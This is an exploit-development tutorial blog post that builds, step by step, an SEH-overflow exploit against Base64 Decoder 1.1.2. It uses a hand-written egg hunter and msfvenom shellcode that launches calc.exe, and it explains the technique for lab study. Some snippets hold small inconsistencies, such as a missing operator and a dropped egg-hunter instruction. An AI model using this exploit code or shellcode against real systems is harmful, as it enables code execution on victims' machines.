Cybersecurity

The Basics of Exploit Development 3: Egg Hunters

Andy Bowden

Consultant, Coalfire Labs

Blog Images 2022 05 06 Bowden Tile

Introduction

Hello dear reader. If you have read the other articles in this series, welcome back!  If not I encourage you to read the previous installments before proceeding with this post. This post covers a surprisingly useful technique in exploit development called Egg Hunters. In order to demonstrate how Egg Hunters function, we will write an exploit for a 32 bit Windows application vulnerable to a SEH overflow. However, due to how the application handles input, we will be required to use an Egg Hunter to locate our payload in memory move execution to it.

Setup

This guide was written to run on a fresh install of Windows 10 Pro (either 32-bit or 64-bit should be fine) and as such you should follow along inside a Windows 10 virtual machine. This vulnerability has also been tested on Windows 7; however, the offsets in this article are the ones from the Windows 10 machine and subsequently may differ on your Windows 7 installation. The steps to recreate the exploit are the same.

We will need a copy of X64dbg which you can download from the official website and a copy of the ERC plugin for X64dbg from here. If you already have a copy of X64dbg and the ERC plugin installed running “ERC --Update” will download and install the latest 32bit and 64 bit plugins for you. Since the vulnerable application we will be working with is a 32-bit application, you will need to either download the 32-bit version of the plugin binaries or compile the plugin manually. Instructions for installing the plugin can be found on the Coalfire GitHub page.

If you are using Windows 7 and  X64dbg with the plugin installed and it crashes and exits when starting, you may need to install .Net Framework 4.7.2 which can be downloaded here.

Finally, we will need a copy of the vulnerable application (Base64 Decoder 1.1.2) which can be found here. In order to confirm everything is working, start X64dbg and select File -> Open, then navigate to where you installed B64dec.exe and select the executable. Click through the breakpoints and the b64dec GUI interface should pop up. Now in X64dbg’s terminal type:

Command:
ERC –help

You should see the following output:

What is an Egg Hunter?

Generally, an Egg Hunter is the first stage of a multistage payload. It consists of a piece of code that scans memory for a specific pattern and moves execution to that location. The pattern is a 4 byte string referred to as an egg. The Egg Hunter searches for two instances of where one directly follows the other. As an example if your egg was “EGGS” the Egg Hunter would search for “EGGSEGGS” and move execution to that location.

Egg Hunters are commonly utilized in situations where there is very limited usable memory available to the exploit author. In short, Egg Hunters allow for a very small amount of shell code to be used to find a much larger piece of shell code somewhere else in memory.

Several Egg Hunters can be found online (there are even some prewritten ones provided by the ERC plugin) but for our purposes, we will create a very simple Egg Hunter from scratch so we can get a full understanding of how an Egg Hunter is constructed and executed.

Confirming the Vulnerability Exists

This vulnerability relies on using the SEH overwrite technique discussed in the previous installment of this series. Therefore, the first thing required is to crash the program to ensure we are overwriting the SEH handler.

To begin, we will generate a file containing 700 A’s.


f = open("crash-1.txt", "wb")  
  
buf = b"\x41" * 700  

f.write(buf)  
f.close()  

Then open the file and copy the contents and paste them into the search box of the b64dec.exe application and click decode.

Following the input of the malicious payload, the debugger should display a crash condition where the registers will look something like the following.

The crash does not immediately indicate that a vulnerability is present, EBP points into our malicious buffer however ESP appears to have been left as it was. From here we will check the SEH handlers to confirm at least one has been overwritten.

Navigating to the SEH tab we can see that the third SEH handler in the chain has been overwritten with our malicious buffer. If we can point this at a POP, POP, RET instruction set we can continue with exploitation of this vulnerability.

At this point, we have confirmed the vulnerability exists and that it appears to be exploitable. Now we can move on to developing an exploit.

Developing the Exploit

We know that the application is vulnerable to an SEH overflow. Initially, we should set up our environment so all output files are generated in an easily accessible place.

Command:
ERC --Config SetWorkingDirectory <C:\Wherever\you\are\working\from>

Now we should set an author so we know who is building the exploit.

Command:
ERC --Config SetAuthor <You>

Now we must identify how far into our buffer the SEH overwrite occurs. For this, we will execute the following command to generate a pattern using ERC:

Command:
ERC --pattern c 700

We can now add this into our exploit code either directly from the debugger or from the Pattern_Create_1.txt file in our working directory to give us exploit code that looks something like the following.


f = open("crash-2.txt", "wb")  
  
buf  = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac"  
buf += b"9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8"  
buf += b"Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A"  
buf += b"i8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al"  
buf += b"7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6"  
buf += b"Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A"  
buf += b"r6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au"  
buf += b"5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"  
  
f.write(buf)  
f.close()

Now if we generate the crash-2.txt file and copy its contents into our vulnerable application we will encounter a crash. We can run the FindNRP command to identify how far through our buffer the SEH record was overwritten.

Command:
ERC --FindNRP

The output of the FindNRP command above displays that the SEH register is overwritten after 620 characters in the malicious payload. As such we will now ensure that our tool output is correct by overwriting our SEH register with B’s and C’s. First we will need to hit the restart button to restart the process and prepare it for another malicious payload. The following exploit code should produce an overwrite of B’s and C’s over the SEH register.


f = open("crash-3.txt", "wb")  
  
buf = b"A" * 620  
buf += b"B" * 4  
buf += b"C" * 4  
buf += b"D" * 100  
  
f.write(buf)  
f.close() 

The SEH register is overwritten with B’s and C’s as expected. In order to return us back to our exploit code we will need to find a POP, POP, RET instruction. For a full rundown of how an SEH overflow works, read the previous article in this series. To find a suitable pointer to a POP, POP, RET instruction set we will run the following command.

Command:
ERC –SEH -ASLR -SafeSEH -Rebase -OSDLL -NXCompat

The output above shows most of the pointers available to us are prefixed with a 0x00 byte which for our previous exploit would have made them unsuitable. However we will have to use one here.

The additional flags passed here exclude modules from the search based on certain criteria. ASLR removes any modules that participate in address space layout randomization, SafeSEH removes dlls that support a SEH overflow protection mechanism (covered in the second installment of this series), Rebase removes DLLs that can be relocated at runtime, NXCompat removes modules that are DEP enabled and OSdll removes modules that are operating system dlls.

These flags persist through a session and are detailed in the help text of the ERC plugin. You will need to set them to your preference each time you restart the debugger.

The reason a 0x00 byte is commonly a problem in exploit development is that 0x00 is a string terminator in the C language which a lot of other languages are built on. Other commonly problematic bytes in exploit development are 0x0A (new line) and 0x0D (carriage return) as they are also usually interpreted as the end of a string.

This means we need to incorporate a null byte into our payload. We should identify if null bytes (and any other bytes) will cause our input string to be cut short or be modified. A full description of how to do this can be found in the first article of this series; however we have included the output of the process here:

The output shows that the instructions that will cause us problems (the omitted ones) are 0x00, 0x0A and 0x0D. (Shocking!) We can’t put a 0x00 in the middle of our payload as it will cut it short, meaning the overflow will never get triggered. However, we do need one in order to use our POP, POP, RET instructions.

We will try to put the 0x00 byte at the end of our payload to see if it makes it into memory unmodified. Our exploit code should now look something like this.


f = open("crash-4.txt", "wb")  
  
buf = b"A" * 620  
buf += b"B" * 4 
buf += b"\x86\x1e\x40\x00" #00401e86 <- Pointer to POP, POP, RET  
  
f.write(buf)  
f.close()  

This gives us the following output when we view the SEH chain.

It looks like in the SEH chain the null byte is modified to 0x20, so this method will not be suitable. We will need another option. The next logical choice is to remove the byte altogether and see if the string terminator is written into the SEH chain after our buffer.

Our exploit code should now look like the below:


f = open("crash-5.txt", "wb")  
  
buf   b"A" * 620  
buf += b"B" * 4  
buf += b"\x86\x1e\x40" #00401e86  
  
f.write(buf)  
f.close() 

If we input this new string into our vulnerable application and then check the SEH tab, we have gotten our null  byte into the SEH record.

Now we can use our POP, POP, RET instruction, but… we can’t write any data after our pointer to the POP, POP, RET instruction set, so we will not be able to just simply do a short jump over the SEH record into our payload like we did in the last exploit. This time we have 4 bytes to work with in the SEH record.

Our best option from here is a short jump backwards. This can be done because the operand of the short jump instruction is in two’s complement format. Which is the way computers use to represent integers. Basically it can be used to describe both positive and negative integers.

Say for example you have the value of 51 in binary:
00110011

And we want to know what 51 negative would be in binary we simply invert the 1’s and 0’s then add 1:
11001101

This allows us to jump back a maximum of 80 bytes using \xEB\x80. So let’s change our SEH overwrite to be the pointer to our POP, POP, RET instruction and see where we land with our jump backwards. Our exploit code should now look something like this:


f = open("crash-6.txt", "wb")  
  
buf  = b"A" * 620  
buf += b"\xEB\x80\x90\x90"  
buf += b"\x86\x1e\x40" #00401e86  
  
f.write(buf)  
f.close() 

When we pass the output into the application, a breakpoint should be placed at our POP, POP, RET instruction (0x00401E86) and wait to land there. We will have to pass through two exception handlers to get there so be prepared to press F11 twice and then you should be looking at something like the screenshot below.

Now we can single step through this, take our jump backwards and then land back into our buffer of A’s.

Since we have already established that we can jump back into a buffer we control, our exploit is almost complete. The only outstanding issue is that 80 bytes is simply not enough for us to inject most payloads into, so we will need to use a multistage payload.

Writing the Egg Hunter

As discussed at the start of this article we will be writing a custom egg hunter for this exercise. I would not recommend using it outside of this exercise because it is inferior to other freely available options.

Most Egg Hunters have mechanisms in them to handle errors and will already be optimized for speed because exhaustively searching memory is extremely time consuming. This Egg Hunter does not do those things, but it is simple and easy to understand which makes it perfect for this situation.
Our Egg Hunter code is going to be this:


egghunter  = b"\x8B\xFD"                # mov edi,ebp                               
egghunter  += b"\xB8\x45\x52\x43\x44"   # mov eax,44435245                          
egghunter  += b"\x47"                   # inc edi                                   
egghunter  += b"\x39\x07"               # cmp dword ptr ds:[edi],eax              
egghunter  += b"\x75\xFB"               # jne 48DFEEB                             
egghunter  += b"\x83\xC7\x04"           # add edi,4                                
egghunter  += b"\x39\x07"               # cmp dword ptr ds:[edi],eax               
egghunter  += b"\x75\xF4"               # jne 48DFEEE                              
egghunter  += b"\xFF\xE7"               # jmp edi                                  

Let’s go over these instructions line by line.

MOV EDI, EBP: This instruction moves the value of EBP into the EDI register. EBP points to a location near to the start of our payload. Normally an egg hunter would search all memory for our string but due to the simplicity of this one we had to give it a starting point.

MOV EAX, 0x45524344: As discussed at the start of this article, Egg Hunters search for a byte string repeated twice. This instruction moves the value of our byte string (0x45524344 or “ERCD”) into the EAX register.

INC EDI: Increments EDI by 1 pointing it to the next address which will be checked for our egg.

CMP DWORD PTR DS:[EDI], EAX: Compare the DWORD pointed to by the EDI register to the value held in the EAX register. If the result is true (the values are the same) then the zero flag is set in the EFLAGS register.

JNE 0xF7: Jumps backwards 4 bytes to the INC EDI instruction if the zero flag is not set in the EFLAGS registers.

ADD EDI, 4: Moves EDI forward by 1 DWORD (4 bytes) after finding the first egg to confirm it is repeated directly afterwards.

CMP DWORD PTR DS:[EDI], EAX: Compare the DWORD pointed to by the EDI register to the value held in the EAX register. If the result is true (the values are the same) then the zero flag is set in the EFLAGS register. This is the second check and ensures that the EGG found is repeated.

JNE 0xF7: Jumps backwards 8 bytes to the INC EDI instruction if the zero flag is not set in the EFLAGS registers.

JMP EDI: If neither of the JNE instructions activated it is because the EGG was found twice in memory directly next to each other and as such a jump is now take to the location where they were found.

The instructions above indicate that regardless of where our payload is in memory (provided a lower address is moved into EDI - we used EBP in this instance but any value lower that the payload starting address will work) execution will be redirected to our payload.

Finishing the Exploit

Now that we have our SEH jumps in place and we have created our Egg Hunter, we can run the exploit again and ensure that execution is redirected to the location of our egg. We will replace the A’s (our initial padding) with 0x90’s and append our egg (“ERCD”) to the start of our payload for the egg hunter to find. Our exploit code should now look something like this:


f = open("crash-7.txt", "wb")  
  
padding = b"ERCDERCD" #Tag the egg hunter will search for  
padding += b"\x90" * 500  
  
egghunter  = b"\x8B\xFD"                # mov edi,ebp  
egghunter += b"\xB8\x45\x52\x43\x44"    # mov eax,45525344 ERCD                         
egghunter += b"\x47"                    # inc edi                                                                   
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                    
egghunter += b"\x75\xFB"                # jne                               
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                    
egghunter += b"\x75\xF7"                # jne          
egghunter += b"\xFF\xE7"                # jmp edi  
  
buf = padding + egghunter  
buf += b"B" * (620 - len(egghunter + padding))   
buf += b"\x90\x90\xEB\x80"  
buf += b"\x86\x1e\x40" #00401e86  
  
f.write(buf)  
f.close()  

When we inject this new payload into our vulnerable application and step through our breakpoints, we can see that execution is redirected to our egg.

Now that we have landed at our egg, we still need to generate a payload and add it to our exploit code. I used MSFVenom to generate a payload for this exploit.

Now our exploit code should look something like this:


f = open("crash-8.txt", "wb")  
  
padding1   = b"ERCDERCD" #Tag the egg hunter will search for  
padding1  += b"\x90" * 100  
  
# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x0a\x0d'  
# cmd=calc.exe exitfunc=thread -f python  
payload =  b""  
payload += b"\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"  
payload += b"\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"  
payload += b"\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"  
payload += b"\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"  
payload += b"\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"  
payload += b"\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"  
payload += b"\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"  
payload += b"\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"  
payload += b"\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"  
payload += b"\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"  
payload += b"\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"  
payload += b"\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"  
payload += b"\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"  
payload += b"\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"  
payload += b"\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"  
payload += b"\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"  
payload += b"\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"  
  
egghunter   = b"\x8B\xFD"               # mov edi,ebp                               
egghunter  += b"\xB8\x45\x52\x43\x44"   # mov eax,44435245                          
egghunter  += b"\x47"                   # inc edi                                   
egghunter  += b"\x39\x07"               # cmp dword ptr ds:[edi],eax              
egghunter  += b"\x75\xFB"               # jne 48DFEEB                             
egghunter  += b"\x83\xC7\x04"           # add edi,4                                
egghunter  += b"\x39\x07"               # cmp dword ptr ds:[edi],eax               
egghunter  += b"\x75\xF4"               # jne 48DFEEE                              
egghunter  += b"\xFF\xE7"               # jmp edi                                  
  
buf = padding1 + payload   
buf += b"\x90" * (570 - len(padding1 + payload))  
buf += egghunter  
buf += b"\x90" * (620 - len(buf))  
buf += b"\x90\x90\xEB\xBE"  
buf += b"\x86\x1e\x40" #00401e86  
  
f.write(buf)  
f.close()  

And when we pass this string to our vulnerable application we should get the calculator application pop up.

Conclusion

In this installment, we covered exploiting a 32-bit Windows SEH overflow using the Egg Hunter technique with X64dbg and ERC. We then generated a payload with MSFVenom and added it to our exploit to demonstrate code execution. A large collection of Egg Hunters and other payloads can be found at www.exploit-db.com and further information on writing Egg Hunters can be found at various locations online.